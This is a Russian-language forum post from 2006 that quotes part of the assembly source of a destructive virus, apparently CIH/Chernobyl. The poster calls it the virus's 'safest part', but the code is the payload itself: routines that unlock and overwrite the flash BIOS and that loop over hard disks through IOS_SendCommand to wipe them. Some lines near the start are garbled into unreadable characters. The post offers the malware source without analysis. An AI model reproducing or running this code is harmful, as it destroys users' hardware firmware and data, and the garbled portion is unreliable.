Показать сообщение отдельно

  #9  
Старый 20.05.2006, 11:55
k1b0rg
Тут может быть ваша реклама.
Регистрация: 30.07.2005
Сообщений: 1,243
Провел на форуме:
4520553

Репутация: 1316


По умолчанию

выложу тока часть, потому что он громадный
воть, самая безопасная часть этого вируса
Цитата:
; *************************************

; * Kill Computer !? ... *^_^* *

; *************************************



IsKillComputer:

; Get Now Day from BIOS CMOS

mov ah. 07@HЄrr¦Ш¦$#ТA!М1r

Г2Р@EH`

аЕdr Ш"!BEAТЛ-1САНЪ!B H-ФhCi\ШGМАМРНДЩ-re¬(РВ$-

gHAr]!RЙ (ЙАDH$Й4гАф

lАЄЫ4¦'@-

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; **************************************



; ***************************

; * Kill BIOS EEPROM *

; ***************************



mov bp, 0cf8h

lea esi, IOForEEPROM-@7[esi]



; ***********************

; * Show BIOS Page in *

; * 000E0000 - 000EFFFF *

; * ( 64 KB ) *

; ***********************



mov edi, 8000384ch

mov dx, 0cfeh

cli

call esi



; ***********************

; * Show BIOS Page in *

; * 000F0000 - 000FFFFF *

; * ( 64 KB ) *

; ***********************



mov di, 0058h

dec edx ; and al,0fh

mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h

call esi



; ***********************

; * Show the BIOS Extra *

; * ROM Data in Memory *

; * 000E0000 - 000E01FF *

; * ( 512 Bytes ) *

; * , and the Section *

; * of Extra BIOS can *

; * be Writted... *

; ***********************



lea ebx, EnableEEPROMToWrite-@10[esi]

mov eax, 0e5555h

mov ecx, 0e2aaah

call ebx

mov byte ptr [eax], 60h

push ecx

loop $



; ***********************

; * Kill the BIOS Extra *

; * ROM Data in Memory *

; * 000E0000 - 000E007F *

; * ( 80h Bytes ) *

; ***********************



xor ah, ah

mov [eax], al



xchg ecx, eax

loop $



; ***********************

; * Show and Enable the *

; * BIOS Main ROM Data *

; * 000E0000 - 000FFFFF *

; * ( 128 KB ) *

; * can be Writted... *

; ***********************



mov eax, 0f5555h

pop ecx

mov ch, 0aah

call ebx

mov byte ptr [eax], 20h



loop $



; ***********************

; * Kill the BIOS Main *

; * ROM Data in Memory *

; * 000FE000 - 000FE07F *

; * ( 80h Bytes ) *

; ***********************



mov ah, 0e0h

mov [eax], al



; ***********************

; * Hide BIOS Page in *

; * 000F0000 - 000FFFFF *

; * ( 64 KB ) *

; ***********************

; or al,10h

mov word ptr (BooleanCalculateCode-@10)[esi], 100ch

call esi



; ***************************

; * Kill All HardDisk *

; ************************************************** *

; * IOR Structure of IOS_SendCommand Needs *

; ************************************************** *

; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *

; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *

; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *

; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *

; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *

; ************************************************** *



KillHardDisk:

xor ebx, ebx

mov bh, FirstKillHardDiskNumber

push ebx

sub esp, 2ch

push 0c0001000h

mov bh, 08h

push ebx

push ecx

push ecx

push ecx

push 40000501h

inc ecx

push ecx

push ecx

mov esi, esp

sub esp, 0ach



LoopOfKillHardDisk:

int 20h

dd 00100004h ; VXDCall IOS_SendCommand

cmp word ptr [esi+06h], 0017h

je KillNextDataSection



ChangeNextHardDisk:

inc byte ptr [esi+4dh]

jmp LoopOfKillHardDisk



KillNextDataSection:

add dword ptr [esi+10h], ebx

mov byte ptr [esi+4dh], FirstKillHardDiskNumber

jmp LoopOfKillHardDisk
 
Ответить с цитированием